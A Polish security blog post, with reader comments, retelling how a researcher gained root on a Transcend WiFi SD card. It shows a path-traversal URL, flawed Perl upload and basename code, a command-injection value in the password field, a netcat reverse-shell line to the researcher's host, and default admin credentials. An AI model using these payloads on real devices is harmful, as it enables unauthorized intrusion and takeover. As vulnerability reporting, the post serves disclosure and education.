Wielu z Was ma pewnie uprawnienia roota na niejednym komputerze czy serwerze. Niektórzy z Was pewnie mają również roota na telefonie czy ruterze. Czy znacie jednak kogoś, komu udało się zrootować kartę pamięci? Jeśli nie znacie, to poczytajcie.
Całkiem niedawno opisywaliśmy Wam, jak pewien użytkownik zainstalował Linuxa na kontrolerze dysku twardego. Dzisiaj mamy kolejną perełkę – tym razem wnikliwy badacz wykrył wiele błędów w karcie pamięci, a w konsekwencji uzyskał uprawnienia roota. Oczywiście nie chodziło o prostą kartę SD, a o jej zaawansowaną technologicznie wersję – kartę WiFi SD firmy Transcend. Karta ta umożliwia bezpośredni transfer zdjęć z aparatu fotograficznego na smartfony lub do komputera. Potrafi zarówno połączyć się w trybie peer-to-peer z telefonem jak i podłączyć do dostępnej sieci WiFi i udostępnić swoją zawartość. Takie rozwiązanie wzbudziło ciekawość Pablo, który opisał swoje ciekawe przygody z kartą.
Pablo, będąc zadowolonym użytkownikiem karty WiFi SD, zauważył, że oprócz aplikacji na Androida i iOS karta posiada również interfejs www. Znalazł zatem IP karty i połączył się jej portu 80. Znalazł tam oczywiście serwer http, do którego zalogował się bez problemu korzystając z loginu admin i hasła admin. Analizę zaczął od obiecującej opcji „Files”. Standardowo przeglądarka plików ładuje na dzień dobry adres w postaci
http://192.168.11.254/cgi-bin/file_list.pl?dir=/www/sd
Pablo próbował zatem wskoczyć folder wyżej, skracając ścieżkę, lub od razu do folderu docelowego, zamieniając www/sd na /etc. Niestety, bez skutku. Jak mówi stare przysłowie, jak nie wpuszczają drzwiami, to wejdź oknem i szybko okazało się, ze wystarczy otworzyć adres
http://192.168.11.254/cgi-bin/file_list.pl?dir=/www/sd/../..
by zobaczyć główny katalog systemu, znajdującego się na karcie. Co prawda był to dostęp tylko do odczytu, ale w zupełności wystarczał on do zapoznania się z treścią wszystkich ciekawych plików. Ciągu dalszego możecie się już chyba domyśleć – a będzie on znacznie ciekawszy.
Wszystkie pliki interfejsu napisane były w Perlu. Pablo szukał zatem polecenia open(), które oprócz otwierania plików potrafi także wykonywać polecenia. Znalazł je w pliku kcard_upload.pl:
if (! open(OUTFILE, ">../DCIM/198_WIFI/$basename") ) { print "Can't open ..\/DCIM\/198_WIFI\/$basename for writing - $!"; exit(-1);
Co ciekawe, plik ten nie jest w ogóle używany przez interfejs użytkownika, a mimo to znalazł się w katalogu /cgi-bin. Czy można go skutecznie zaatakować? Pablo zidentyfikował trzy problemy.
Problem pierwszy polega na tym, że użytkownik nie kontroluje bezpośrednio treści zmiennej $basename – jest ona wynikiem wywołania GetBasename($upfile), gdzie $upfile jest podane przez użytkownika. Funkcja GetBasename($upfile) niestety usuwa wszystkie fragmenty podanej ścieżki oprócz samej nazwy pliku, zatem trik z /../.. nie przejdzie. Drugim problemem jest fakt, że skrypt zamienia $basename w wielkie litery, co utrudnia wywołanie polecenia systemowego. Po trzecie skrypt kcard_upload.pl pozwala tylko na dodanie plików PNG, JPG, BMP i GIF.
Ostatni problem jest prosty do rozwiązania. Kod odpowiedzialny za weryfikację pliku wygląda tak:
if( !($basename =~ /.GIF/ || $basename =~ /.JPG/ || $basename =~ /.PNG/ || $basename =~ /.BMP/))
Po pierwsze, kod, zamiast sprawdzić, czy plik kończy się odpowiednim rozszerzeniem, sprawdza tylko, czy je zawiera. Po drugie brak znaku „\” przed kropką powoduje, że trzyliterowy ciąg rozszerzenia może znajdować się gdziekolwiek w nazwie pliku i nie musi być poprzedzony kropką.
Problem zamiany wszystkich liter z małych na wielkie można rozwiązać po prostu tworząc nowy plik z własnymi poleceniami (wielkość liter w jego nazwie nie będzie miała znaczenia). Pozostaje jednak problem przekształcenia zmiennej przez funkcję GetBasename($upfile). Nawet jeśli w $upfile umieścimy ../../bin/nasz.skrypt, to otrzymamy w wyniku jedynie nasz.skrypt. Na szczęście ta funkcja także zawiera błąd.
sub GetBasename { my $fullname = shift; my(@parts); # check which way our slashes go. if ( $fullname =~ /(\\)/ ) { @parts = split(/\\/, $fullname); } else { @parts = split(/\//, $fullname); }
W założeniu autora funkcja ta ma sprawdzić, czy ścieżka zawiera znaki „/” czy „\” (w zależności od systemu operacyjnego mogą być różne) i dzieli ścieżkę w oparciu o tę informację. Jednak jej warunek logiczny jest uproszczony (przyjmuje założenie że jeżeli nie ma „\”, to na pewno są „/”), co pozwala na manipulację zmienną. Wystarczy zatem skonstruować dane wejściowe w postaci
/PNG/cokolwiek\/../../nasz.zlosliwy.skrypt
by umieścić odpowiedni plik w odpowiednim miejscu.
Niestety wszystkie te kombinacje okazały się prowadzić donikąd z powodu kolejnego błędu w skrypcie. Skrypt zakłada, ze istnieje katalog ../DCIM/198_WIFI, a niestety uruchamiany jest w /www/cgi-bin, gdzie takiego folderu brak. W związku z tym błędem skrypt po prostu nie zadziała i Pablo musiał poszukać innej drogi. Biorąc pod uwagę ogólna jakość kodu nie musiał szukać długo.
Tym razem postanowił spróbować szczęścia ze skryptem kcard_save_config_insup.pl, obsługującym zmianę hasła, w którym znalazł taki wiersz:
`$update_auth $LOGIN_USR $LOGIN_PWD > /mnt/mtd/config/ia.passwd`
Polecenie powłoki zawierające argumenty dostarczane przez użytkownika? Czegoż pragnąć więcej. Wystarczyło zatem podać nowe hasło w postaci
admin; echo haxx > /tmp/hi.txt #
Formularz zmiany hasła co prawda weryfikuje zawartość pola hasła, jednak robi to przez JavaScript po stronie przeglądarki…
Na tym etapie Pablo mógł już wykonywać dowolne polecenia, brakowało mu jednak bezpośredniego dostępu do powłoki systemu. Na szczęście w katalogu /usr/bin znalazł gotowego netcata (jak większość narzędzi w systemie jako dowiązanie symboliczne do BusyBoxa), zatem wystarczyło
nc 192.168.11.11 1337 -e /bin/bash
by cieszyć się interaktywną sesją z kartą WiFi SD. Niestety, znowu okazało się, że nie jest to takie proste – BusyBox blokował część poleceń, w tym wszystkie umożliwiające otwarcie sesji. Na szczęście nie blokował wgeta, używanego przez niektóre skrypty karty, zatem Pablo mógł pobrać z sieci BusyBoxa bez ograniczeń, umieścić go na serwerze www swojego komputera i pobrać na kartę. Kiedy już w końcu uruchomił sesję i wydał polecenie id, zobaczył dodatkową niespodziankę:
uid=0 gid=0
Na tym można by już zakończyć pastwienie się nad karta, jednak Pablo znalazł jeszcze jeden drobiazg. Jeśli kiedyś kupicie kartę WiFi SD firmy Transcend i zapomnicie hasła administratora, zawsze możecie zajrzeć do kodu źródłowego strony logowania. Tak, weryfikacja hasła odbywa się na poziomie JavaScriptu po stronie klienta. Amen.
Aktualizacja 2013-08-12
Autor kolejnego dnia odkrył jeszcze jedną ciekawostkę (dzięki Alojzy za cynk). Karta w momencie uruchomienia wykonuje (jeśli znajdzie) skrypt autorun_fu.sh z głównego katalogu karty. Prościej się już nie dało!
PS. Jeśli interesuje Was ten temat, to tu znajdziecie (po francusku) przygody innego użytkownika z kartą PQI Air Card (roota zdobył, podłączając się do portu szeregowego karty).
Komentarze
LOL, tyle akcji a tu niepodzianka :)
Lol, widzę mamy kandydata do faila roku :D
Wybacz uszczypliwość, ale powinno być routerze ;-)
router -> routerze
Wybaczam – http://sjp.pl/ruter (mogłem napisać jeszcze trasownik, ale nikt by nie zrozumiał)
brakuje tylko kart sd z gotowymi exploit-packami, wystarczy włożyć do telefonu pod nieuwagę właściciela i już wszelkie blokady ekranu przestają być problemem ;)
Dlaczego:
uid=0 gid=0
to niespodzianka? Rozumiem, że po prostu wszedł jako root/root?
Dlatego, że powinien być www-data.
Na stronie jest ciekawy update, więc warto i tu by go dodać.
Chodzi o „plik autorun_fu.sh który jest uruchamiany na starcie
z katalogu głównego karty SD. ”
Pozdrawiam!
Cytat:”PS. Jeśli interesuje Was ten temat, to tu znajdziecie (po francusku) przygody innego użytkownika z kartą PQI Air Card (roota zdobił, podłączając się do portu szeregowego karty)”
Powinno być: rota zdobył, a nie „zdobił” :)
Dzięki, poprawione